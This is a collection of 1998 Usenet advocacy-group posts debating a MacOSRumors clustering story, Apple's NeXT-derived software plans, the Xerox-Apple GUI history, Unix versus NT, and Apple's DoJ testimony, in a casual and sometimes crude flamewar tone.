"...and a more offensive spectacle I cannot recall."
-- Newman
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: How dumb can MacOSRumors *be*?
Date: 30 Oct 1998 17:36:14 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71ctee$bob$1@cronkite.cs.umd.edu>
NNTP-Posting-Date: 30 Oct 1998 17:36:14 GMT
Here's the latest:
Mac OS X clustering breaks speed barriers
In recent weeks, side projects of several contacts at Apple
have come to fruition. The latest is a clustering project where a
number of PowerMac G3 Server models (with upgraded processors in
the 400Mhz range, details withheld upon request) were connected
via Gigabit Ethernet (1000baseT), and an application using the
Yellow Box's "Distributed Objects" architecture manages large
resource-intensive tasks -- like cracking encryption keys.
Using technology developed by NeXT in the early 90's, this cluster
of (about a dozen) G3 Servers cracked an encryption key "nearly as
complex as the DES-II" in just under a week, despite three
separate networking problems which interrupted the use of all the
machines for a total of eight hours.
By way of comparison, this same effort took tens of thousands of
computers, networked over the Internet, nearly six weeks. Sources
close to the clustering experiment say that a similar cluster
could be assembled in less than two hours by virtually anyone with
basic OS X experience and the right hardware and software, at a
total mid-1999 cost of approximately $27,500. An identical cluster
could easily be used to serve Web or File serving needs for a
thousand or more simultaneous users, according to sources.
...SOoooo, Apple's created a Beowulf-class supercomputing machine. Er,
great. And apparently this machine breaks the laws of mathematics by
solving a fully distributed problem in, let's see, I think that's in the
magnitude of, um, carry the seven..., okay, ONE HUNDRED AND TWENTY SIX
THOUSAND TIMES FASTER than other computers "networked over the Internet",
which for these kinds of projects usually means dedicated or at least 25%
dedicated high-end Unix workstations and servers.
Let's be REALLY conservative assume the G3's are, say, *ten* times faster
apiece than the average machine on the net working on a DES problem, and
that the machines on the net only give 25% of their daily cycles to the
problem. Which means that at the very least, Apple's discovered a secret
way to solve the problem a four thousand times faster than normal. Time
to award Steve Jobs the Bell Prize!
MacOS Rumors also apparently thinks that networking speed makes a whit of
difference in solving encryption keys (not the tiniest bit -- these
machines could be connected over a 300baud modem and still do the job just
as fast). 1000base-T indeed. Get a clue, MacOS Rumors. They'd be using
ATM.
So what's the catch? Well, let's see...perhaps it's the statement "nearly
as complex as the DES-II". That's kind of like saying "nearly a dead as
Hoffa". You either are or you aren't as complex as DES-II (or more
complex). At this scale, "nearly as complex" could easily mean "one
million times less complex than". For any fair comparison to be done, of
course, you'd have to actually *solve* the actual problem that these other
machines have tried to crack.
Either that, or Apple had a one in eight thousand probability lucky day.
Sean Luke
seanl@cs.umd.edu
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 30 Oct 1998 18:22:52 GMT
Organization: Primenet (602)416-7000
Message-ID: <71d05s$bnc$1@nnrp02.primenet.com>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu> <cdoutyF1LxoL.Cwv@netcom.com> <71b7nn$9ei$8@blue.hex.net> <F1nCCE.J04@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: I get the feeling I'm the only one here that tried it. Did anyone else
: in this thread actually USE the product?
Not me ... but I thought it was funny that people were worrying about
the possibility of Dylan running on NT, when it already is.
I don't have anything against Dylan. I think this is just another example
of too many things out there vying for our attention, rather than too few.
There was a real explosion of choices in development tools over the last
few years. Apple's new technologies are being offered in a very different
environment these days.
John
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Dilemma
Message-ID: <cdoutyF1nKrE.1At@netcom.com>
Sender: cdouty@netcom18.netcom.com
Organization: Netcom Online Services, Inc.
References: <71aovh$hkc@newsb.netnews.att.com> <mroeder-2910981634130001@192.168.21.136>
Date: Fri, 30 Oct 1998 18:30:49 GMT
In article <mroeder-2910981634130001@192.168.21.136>,
mroeder <mroeder@macromedia.com> wrote:
>To me part of Apple's strength is being in control of the hardware and the
>software. Windows suffers because the MS WIndows group and any developers
>of applications for it are forced into endless compatibility testing on
>all kinds of hardware. Yes, Mac software developers must also do
>compatibility testing, but it's a lot simpler.
>
>Digital Equipment Corporation used to make the best minicomputers; they
>held the Mac-like market position against IBM for more than two decades.
>They provided both the hardware and the operating system, while third
>parties provided additional hardware and custom software. Unix was
>developed on PDP-11s to begin with and was quickly moved to the VAX.
>(Okay, so the market changed and DEC was recently bought by Compaq. But
>that doesn't change DEC's success while IBM was the giant.)
I'll point out that a significant part of Digital's downfall was their
proprietary nature. Yes, VAXen were great minicomputers for their day
and VMS was nice too. However, you really had to use DEC disks and DEC
tapes, and DEC terminals and DEC network protocools and...all of which
were more expensive than the third party eqivalents. The market left DEC
because they could find cheaper and faster functionality in Unix
workstations and PCs.
IBM learned their leason and now competes with OS/390 compatibles from
Fujitsu and Hitachi, PCs, Unix workstations and servers, and AS/400
minicomputers. Digital is a division of Compaq.
You can produce nicely integrated and supremely functional products if
you control both hardware and software. The danger lies in the
temptation to go proprietary. Apple has paid a heavy price due to
proprietary SCSI interfaces (DB-25 is not a "legal" connector), serial
interfaces, ADB, video, expansion buses, etc. Apple might be on a
standards kick right now, but the tendancy to "close up" is still there.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 20:02:35 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <363e1ad0.10433387@news.supernews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net> <asena-3010980918330001@ip65.an5-new-york4.ny.pub-ip.psi.net>
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Quoting Adam Sena from alt.destroy.microsoft; Fri, 30 Oct 1998
09:18:33 -0500
[...]
>You're both wrong, (I think), but I can't quote a source, I am going on
>memory. Xerox did gave a graphical GUI but held no patent on it. So Apple
>used it and patented it quite legally. When Microsoft starting using a
>GUI, Apple of course went through all sorts of legal hassles with them,
>and recently settled for an undisclosed sum. But please take this as a
>grain of salt, because I am working on memory, and am not trying to
>portray this a actual truth, but I think I am generally correct in this.
Reality or our memories diverge quite markedly, Adam. :-/
Apple didn't "patent" the GUI. Apple /did/ sue MS for copying the
Macintosh's "look and feel", which they contended was a violation of
the /copyright/ they hold on the MacOS software. The courts
disagreed. The case has been dead for years, and no settlements
were made, IIRC.
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac design flaw (Was Re: YB developer's lost revenues
Date: Fri, 30 Oct 1998 15:05:10 -0500
Content-Transfer-Encoding: 8bit
References: <mteh-ya02408000R3010980122130001@news.earthlink.net> <B25F429F-531E1@206.165.43.10>
Content-Type: text/plain; charset=ISO-8859-1
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
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In article <B25F429F-531E1@206.165.43.10>, "Lawson English"
<english@primenet.com> wrote:
>Oliver M. Sun <mteh@earthlink.net> said:
[snip]
>>Meanwhile, the CD-ROM update is not pre-installed, as far as we have been
>>able to tell (Apple's own note on this issue states that not all iMacs
>need
>>the update, just ones which have had vibration problems).
>
>That suggests that there is *something* that the CD-ROM update does that is
>less than optimal. Otherwise they'd install it by default, I would think.
>
My guess is that the update sets the CD-ROM drive's motor servos to reduce
the spin rate when uneven speeds (possibly indicating a vibrating CD) are
detected. Perhaps the threshold for this speed reduction has several
settings available in firmware; the trade off would be reduced performance
on CDs that are marginally off-balance.
--
oms
From: VArase@pobox.com (Verne Arase)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 15:16:45 -0600
Organization: Flashnet Communications, http://www.flash.net
Sender: varase@s195-85.mc.luc.edu
Message-ID: <1dhpuxx.vcagz49fy06dN@s195-85.mc.luc.edu>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net> <asena-3010980918330001@ip65.an5-new-york4.ny.pub-ip.psi.net>
User-Agent: MacSOUP/2.4b3
Adam Sena <asena@earthlink.net> wrote:
> You're both wrong, (I think), but I can't quote a source, I am going on
> memory. Xerox did gave a graphical GUI but held no patent on it. So Apple
> used it and patented it quite legally. When Microsoft starting using a
> GUI, Apple of course went through all sorts of legal hassles with them,
> and recently settled for an undisclosed sum.
I thought Xerox wanted to buy some Apple stock, and a swap was arranged
shares for technology.
IAC, from what I hear nothing in Parc place looked much like what
eventually became the GUI Apples.
For instance, there were windows but they couldn't overlap. I don't
think they had pull-down menus. And they used OOP (Smalltalk) on what
were then considered mainframe-type machines, but were _still_ slow.
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT(What apple should do)
Date: Fri, 30 Oct 1998 23:19:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71dhh5$35n$1@nnrp1.dejanews.com>
References: <71a2ln$195@newsb.netnews.att.com>
I think what Apple need now is some big-bastard stylee 16-way SMP'ing servers.
If OS X server is really that industrial strength, then that sort of kit
running it would mean that there would be little or no excuse for not
switching it.
Mind you.
I don't think they would convert many NTadmins.
I think NT admins only like NT because it fucks up so much. Keeps them in a
job. If the company switched from enNTea, then less propeller head MSCE's
would be needed, and some of them would go.
So, they say to their Managers "Blah Blah Blah Waffle Waffle Microsoft Logo
good Waffle".
I re-iterate, I have yet to meet a smart NTadmin.
In article <71a2ln$195@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
>
> According to a story on TechWeb (that I got to via the following
> URL : http://www.newsnow.co.uk/cgi-bin/Goto/106147)
>
> "According to market researcher Dataquest, Unix growth is
> accelerating and outpacing that of NT. Unix server usage
> grewo 12.7 percent in the past two years, from a 36 percent
> market share in 1996 to 42.7 percent in the second quarter
> of this year. NT, by constrast, grew 6.5 percent, half the
> rate of Unix, from 9.7 percent in 1996 to 16.2 percent in 1998."
>
> The analysts give as the reason is that NT is far behind the
> state-of-the-art, and ever-increasing in price. The ongoing
> UNIX unification/consolidation should help reduce the variants
> users encounter.
>
> ( The article also notes that Sun is helping Linux by licensing
> the source code for JDK 1.2 and JCK 1.2 to Steve Brynes, who
> is working on the official Linux port. Sun is offering Solaris 7.0
> free for non-commercial use.)
>
> ****
>
> The time is as propitious as it ever could be for Apple to
> introduce its consumer/low-end-to-middle-range Unix variant,
> MacOS X Server.
>
> -arun gupta
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: How dumb can MacOSRumors *be*?
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Cc: jonathan@quern.demon.co.uk
Organization: needs one
References: <71ctee$bob$1@cronkite.cs.umd.edu> <1dhqjj8.1z0bonh1qfhnnlN@quern.demon.co.uk>
Mime-Version: 1.0
Date: Sat, 31 Oct 1998 00:05:38 GMT
In <1dhqjj8.1z0bonh1qfhnnlN@quern.demon.co.uk> Jonathan Sanderson wrote:
> I think they must have garbled some messages about the AppleSeed
> project:
Sounded like Zilla to me.
Maury
From: NoSpam@flash.net (LShaping)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 20:49:30 GMT
Organization: Flashnet Communications, http://www.flash.net
Message-ID: <363b24af.4479226@news.flash.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net> <asena-3010980918330001@ip65.an5-new-york4.ny.pub-ip.psi.net>
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On Fri, 30 Oct 1998 09:18:33 -0500, asena@earthlink.net (Adam Sena)
wrote:
>In article <70e29s$arc$1@strato.ultra.net>, "WaldoTim"
><waldotim@yahoo.com> wrote:
>>Joe Ragosta wrote in message ...
>>>In article <01bdf462$dcd104a0$42d89a8e@zeus>, "Dude"
>>><jonny_36@hotmail.com> wrote:
>>>
>>>> Sorry dude but it wasn't Apple that came up with the Windows Gui it was
>>>> Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
>>>> concept from Apple.
>>>
>>>Check your facts. You'll find that Apple paid for what they got from Xerox.
>>
>> I'm almost certain you're wrong here. Please quote a source for this
>>information. I've been in and around this argument for a decade and a
>>half and this is the very first time I've heard *this* particular version.
>>-Tim
>
>You're both wrong, (I think), but I can't quote a source, I am going on
>memory. Xerox did gave a graphical GUI but held no patent on it. So Apple
>used it and patented it quite legally. <snip>
>-Adam
The ability to patent at least most things has a time limit on it, I
think it's one year from the date of disclosure. Also, you can't
legally patent another's work. You would have defend against any
challenges to the contrary that it is your original work.
LShaping.
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 31 Oct 1998 00:34:37 GMT
Organization: San Diego State University
Message-ID: <71dlut$o3g$2@hole.sdsu.edu>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1nCCE.J04@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: I actually used Dylan, after all you could buy it for $20 at WWDC a few
: years back. It was essentially OpenStep without any good objects...
<snip>
: I get the feeling I'm the only one here that tried it. Did anyone else
: in this thread actually USE the product?
Yes, as a onetime student of AI classes looking for alternatives to the
powerful but messy Common Lisp, I looked into Dylan. I rather think you
missed the point if you describe it as "[like] OpenStep". WTF? Dylan is, or
was, a language related to Lisp, not an operating system. Comparing Dylan
to OpenStep is like comparing Fortran to Windows NT.
Compare Dylan to Objective-C if you will, that's a valid comparison.
: Agreed, but they have to pick their fights. Is a computer language a
: good thing to fight over?
Yes. Operating systems come and go, but languages, even sorry excuses
for languages like C++, have decades of life in them. Indeed they're
worth fighting over.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
------------------------------------------------
Dulce et decorum est pro patria futui
From: q@nospam.org (Mr. Q)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT(What apple should do)
Date: Sat, 31 Oct 1998 00:22:57 GMT
References: <71a2ln$195@newsb.netnews.att.com> <71dhh5$35n$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <363a573e.25537487@news.earthlink.net>
On Fri, 30 Oct 1998 23:19:01 GMT, hughesojh@my-dejanews.com wrote:
>I think what Apple need now is some big-bastard stylee 16-way SMP'ing servers.
>
>If OS X server is really that industrial strength, then that sort of kit
>running it would mean that there would be little or no excuse for not
>switching it.
>
>Mind you.
>
>I don't think they would convert many NTadmins.
>
>I think NT admins only like NT because it fucks up so much. Keeps them in a
>job. If the company switched from enNTea, then less propeller head MSCE's
>would be needed, and some of them would go.
>
>So, they say to their Managers "Blah Blah Blah Waffle Waffle Microsoft Logo
>good Waffle".
>
>I re-iterate, I have yet to meet a smart NTadmin.
>
>In article <71a2ln$195@newsb.netnews.att.com>,
Yeah, we know. Anyone not using a Mac is a total idiot. Mac advocates
know everything about computers. Everyone else is a clueless moron.
You should just keep believing that because ignorance is bliss.
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: Fri, 30 Oct 1998 16:34:16 -0800
Organization: Cygnus Solutions
Message-ID: <363A5B08.96AA4AAC@cygnus.com>
References: <71ctee$bob$1@cronkite.cs.umd.edu> <1dhqjj8.1z0bonh1qfhnnlN@quern.demon.co.uk>
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Jonathan Sanderson wrote:
>
> I think they must have garbled some messages about the AppleSeed
> project:
>
> <http://exodus.physics.ucla.edu/appleseed/appleseed.html>
>
> ...which is pretty cool,
Bleh.. it looks pretty lame to me. You _have_ to use a particular fortran
compiler? with certain fortran packages? bleh.
Based on the comment that the project is based upon a early 90's NeXT
technology, and that said thing exists (Zilla.app), I wouldn't be suprised
if it's based on Zilla. Zilla basically just requires that the distributed
app announce itself via some wrapping of your code modules (from what I
remember). I'm sure you could write your mathematical modules with gnu
fortran.. and just have a Zilla interface in Obj-C (which is only going to
take you a few lines of code, and using threads). And BOOM, distributed
computing here you come. Every machine that has a copy of Zilla running
can donate CPU cycles (based on various preferences) to the distributed
task.
Hopefully Apple wont be killing Zilla.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy
Subject: Avie's DoJ testimony.
Date: Fri, 30 Oct 1998 17:49:55 -0800
Organization: EarthLink Network, Inc.
Message-ID: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net>
QuickTime, Rhapsody, Patent Issues, MS investment,
and more covered in Tevanians own words:
http://www.usdoj.gov/atr/cases/f2000/2010.htm
Anyone else think this lays the groundwork for the
1997 deal to be declared illegal? I do. Read it
and I'll think you'll agree.
Best Regards,
CaHand
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: 31 Oct 1998 02:34:35 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71dsvr$s5p$2@cronkite.cs.umd.edu>
References: <71ctee$bob$1@cronkite.cs.umd.edu> <cdoutyF1nMA8.3xy@netcom.com>
NNTP-Posting-Date: 31 Oct 1998 02:34:35 GMT
Chris Douty (cdouty@netcom.com) wrote:
> Sean Luke <seanl@cs.umd.edu> wrote:
> >MacOS Rumors also apparently thinks that networking speed makes a whit of
> >difference in solving encryption keys (not the tiniest bit -- these
> >machines could be connected over a 300baud modem and still do the job just
> >as fast). 1000base-T indeed. Get a clue, MacOS Rumors. They'd be using
> >ATM.
> There are some problems where networking speed is critical. IBM didn't
> spend a lot of money making their "High-Speed Switch" for the SP/2 for
> laughs. Message latency is also crucial for some algorithms.
No doubt. But net encryption is a brute-force, farm it out for long
periods kind of problem (the stuff I do, massively parallel evolutionary
computation, is likewise). For such a problem, intercommunication speed
is close to 0% of the efficiency.
That being said, you're absolutely right: for a great many algorithms, you
need tighter and faster coupling. Encryption cracking is the extreme in
decoupled distributed algorithm form.
Sean
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: 31 Oct 1998 02:41:19 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71dtcf$s5p$3@cronkite.cs.umd.edu>
References: <71ctee$bob$1@cronkite.cs.umd.edu> <1dhqjj8.1z0bonh1qfhnnlN@quern.demon.co.uk> <363A5B08.96AA4AAC@cygnus.com>
NNTP-Posting-Date: 31 Oct 1998 02:41:19 GMT
John Rudd (jrudd@cygnus.com) wrote:
> Based on the comment that the project is based upon a early 90's NeXT
> technology, and that said thing exists (Zilla.app), I wouldn't be suprised
> if it's based on Zilla. Zilla basically just requires that the distributed
> app announce itself via some wrapping of your code modules (from what I
> remember).
Maybe. Though Zilla predates DO which MOSR seems to think was running.
Zilla was really cool for it's time too, but there are free packages which
do the same thing in a vanilla environment now, and more efficiently too
(U Wisconsin had its entire CS department as one big distributed server).
Install trivially on most UNIX boxes. I'd bet that if this story has any
grain of truth, Apple probably went with one of them.
Sean
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie's DoJ testimony.
References: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 30 Oct 1998 20:04:04 -0800
Message-ID: <yl3vhl19y2z.fsf@shell8.ba.best.com>
Yep. Looks like the gloves are off. Avie is prepared to stand up and
shaft Microsoft.
Q. What are apples plans for OE support on NT 5.0 or Windows 2000?
ch3@earthlink.net (CaHand) writes:
> QuickTime, Rhapsody, Patent Issues, MS investment,
> and more covered in Tevanians own words:
>
> http://www.usdoj.gov/atr/cases/f2000/2010.htm
>
>
> Anyone else think this lays the groundwork for the
> 1997 deal to be declared illegal? I do. Read it
> and I'll think you'll agree.
>
> Best Regards,
>
> CaHand
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A computer is not like a car.
Date: Sat, 31 Oct 1998 04:09:05 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <363f8d3b.4817898@news.supernews.com>
References: <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <V2fZSHiA#GA.191@rejz.ij.net> <asiufy-2810980901440001@200.229.243.89> <71dh54$2pc$1@nnrp1.dejanews.com>
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Quoting hughesojh@my-dejanews.com from alt.destroy.microsoft; Fri,
30 Oct 1998 23:12:36 GMT
>I've had it lose clusters out of files and all sorts of nonsense.
>
>It is a load of absolute toss.
>
>For file management, XTGold is just about the ONLY workable solution.
Holy christ. There are people using XTGold?
From: hughesojh@my-dejanews.com
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 23:12:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71dh54$2pc$1@nnrp1.dejanews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <V2fZSHiA#GA.191@rejz.ij.net> <asiufy-2810980901440001@200.229.243.89>
I've had it lose clusters out of files and all sorts of nonsense.
It is a load of absolute toss.
For file management, XTGold is just about the ONLY workable solution.
In article <asiufy-2810980901440001@200.229.243.89>,
asiufy@iname.com (Alexandre A. S.) wrote:
> In article <V2fZSHiA#GA.191@rejz.ij.net>, "Andrew Tuitt"
> <luckyami@email.com> wrote:
>
> >Try the Edit menu and the "UNDO" command.
> >
> >And The recycling bin with IE4's Active Desktop DOES indeed keep its
> >hierarchy perfectly on my computer.
> >
> >But the UNDO command has never failed in accidental draggings.
> >
>
> What if it's been a week since you dropped the stuff there, and you
> changed your mind?
>
> >Rob Barris wrote in message ...
> >>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
> >><bgodot@eskimo.com> wrote:
> >>
> >>> The recycle bin does keep track of files original locations.
> >>
> >> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
> >>bin, it gets flattened. No easy way to drag it back out the way it was (if
> >>I dragged the wrong thing or if I change my mind). Did I miss something?
> >>
> >>Rob
>
> --
> cheers! mailto:asiufy@iname.com
> the progrock mp3 listening booth! http://members.xoom.com/asiufy
> --------------------------------------------------------------------
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: Fri, 30 Oct 1998 23:23:10 +0000
Message-ID: <1dhqjj8.1z0bonh1qfhnnlN@quern.demon.co.uk>
References: <71ctee$bob$1@cronkite.cs.umd.edu>
User-Agent: MacSOUP/2.4b3
Sean Luke <seanl@cs.umd.edu> wrote:
> Either that, or Apple had a one in eight thousand probability lucky day.
[chuckle]
Yes, it seems MOSR have once again revealed their depth of knowledge.
Still, the site is good for a laugh, no?
I think they must have garbled some messages about the AppleSeed
project:
<http://exodus.physics.ucla.edu/appleseed/appleseed.html>
...which is pretty cool, actually. Serious power with seriously little
work, by the sound of it. Also interesting comments on that site about
the joys of cooperative multitasking for such projects. :)
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter' (Pascal)
From: stepr@REMOVE.columbus.rr.com (AO)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie's DoJ testimony.
Message-ID: <stepr-3010982351440001@wor246080.columbus.rr.com>
References: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net>
Date: Fri, 30 Oct 1998 23:51:43 -0500
NNTP-Posting-Date: Fri, 30 Oct 1998 23:54:44 EDT
Organization: Time Warner Communications Columbus
In article <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net>,
ch3@earthlink.net (CaHand) wrote:
> QuickTime, Rhapsody, Patent Issues, MS investment,
> and more covered in Tevanians own words:
>
> http://www.usdoj.gov/atr/cases/f2000/2010.htm
>
>
> Anyone else think this lays the groundwork for the
> 1997 deal to be declared illegal? I do. Read it
> and I'll think you'll agree.
>
> Best Regards,
>
> CaHand
What pisses me off the that the "technology agreement also gives Microsoft
the right of first refusal to develop the default browser for any new
operating system Apple develops during the term of the agreement [5
years]." I, for one, DO NOT want to see IE as a default browser on OS X
Server or OS X.
I really hope that, through this lawsuit, something is done about
Microsoft's usage of its monopoly power.
Akin
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <71avps$u2q$2@eskinews.eskimo.com> <rbarris-ya023280002910981607450001@206.82.216.1>
Subject: Re: A computer is not like a car.
Message-ID: <AMu_1.2390$GZ6.6598@news14.ispnews.com>
NNTP-Posting-Date: Fri, 30 Oct 1998 21:40:32 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 30 Oct 1998 18:36:45 -0800
Rob Barris wrote in message ...
>
> Hmmm, if I have dragged two (or three, or 15...) folders to the recycle
>bin, how do I know which files came from which folder?
Maybe you should upgrade. NT4 shows the folders in the recycle bin as
folders. I think Win98 does too.
From: milo_mklinux@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Fri, 30 Oct 1998 23:28:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71di2h$3ua$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <36314761.686007A9@milestonerdl.com>
In article <36314761.686007A9@milestonerdl.com>,
m rassbach <mark@milestonerdl.com> wrote:
> Todd Heberlein (todd at NetSQ dot com) wrote:
> >
> > For most of us, the delays of Rhapsody (originally planned for Jan
> > 98?), then delays of MacOS X Server (Fall of 98), and finally the
> > potential cancellation of MacOS X Server is only frustrating.
> >
> > I wonder about all those developers creating YB applications but who
> > cannot generate any revenues because of the OS never leaves the beta
> > stage?
> >
> > While we [potential] users/customers can be frustrated by the
> > [in]actions from Apple, I have to believe that the YB developers are
> > really pulling out their hair.
> >
> > Suggestions: (1) Apple lets YB developers sell their products to
> > current Rhapsody beta testers/developers. (2) Apple openly distribute
> > MacOS X Server as pre-release software (perhaps for a $20 license fee)
> > and let YB developers sell their products to this expanded consumer
> > base. (3) Apple declare MacOS X Server as a product and sell it.
> >
> > Any thoughts?
> >
> > Todd
>
> Didn't you see this shafting comming?
How was any Macintosh customer shafted by what follows? Most didn't use
Newtons or OpenDoc. The fact that Rhapsody became Mac OS X is a blessing.
It means all the Mac applications don't have to be rewritten.
> WWDC 1997
> Newton/OpenDoc/Rhapsody OS are the future.
>
> WWDC 1998
> Newton - Dead
Get a Palm PC and get over it.
> OpenDoc - Dead
Nobody cared when OpenDoc was alive. Who cares that it's dead?
